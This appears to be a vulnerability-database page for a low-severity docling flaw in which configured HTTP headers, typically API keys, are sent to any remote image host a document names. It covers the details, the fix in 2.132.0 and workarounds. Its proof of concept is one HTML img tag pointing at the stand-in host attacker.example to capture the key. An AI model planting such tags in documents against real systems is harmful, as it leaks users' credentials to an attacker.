Docling: Configured HTTP headers sent to every remote image host named by a documentGHSA-p3fw-7699-7926
LOWFix: docling-project/docling#4420GHSA-p3fw-7699-7926 is a low-severity (CVSS 3.7) CWE-201 vulnerability in docling. A fix is available for docling — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-p3fw-7699-7926.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-p3fw-7699-7926 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
docling🐍docling-slimReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set
headerstogether withenable_remote_fetch=Trueandfetch_images=True(CLI:--html-image-headerswith--html-image-fetch remoteorall), and convert untrusted HTML. - Not affected: the default configuration.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
Proof of concept
<img src="https://attacker.example/pixel.png">
Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
Patches
Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
Workarounds
Upgrade to 2.132.0. For older versions:
Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | docling | ≥ 2.95.0&&< 2.132.0 | 2.132.0pip install --upgrade 'docling==2.132.0' |
| 🐍PyPI | docling-slim | ≥ 2.95.0&&< 2.132.0 | 2.132.0pip install --upgrade 'docling-slim==2.132.0' |
Affected Products
doclingdoclingDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for docling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update docling to 2.132.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p3fw-7699-7926 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A LOW severity information disclosure flaw was found in docling, a document parsing and processing library. All Red Hat product streams currently tracked for this flaw, in the Ai and Portfolio business units, are affected. When docling's HTML backend is configured with remote image fetching enabled…
Users can avoid this exposure by disabling remote image fetching in the HTML backend options (enable_remote_fetch=False), disabling image fetching altogether (fetch_images=False), or by not configuring sensitive headers such as API keys, session tokens, or cookies via HTMLBackendOptions.headers. The default docling configuration is not vulnerable because remote image fetching and configured custom headers are both required for exploitation. Updating to a release of docling that includes the upstream fix for this issue also resolves the exposure.Source: Red Hat security advisory for GHSA-p3fw-7699-7926 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-p3fw-7699-7926 in your dependencies?
Find it across PyPI, including transitive dependencies.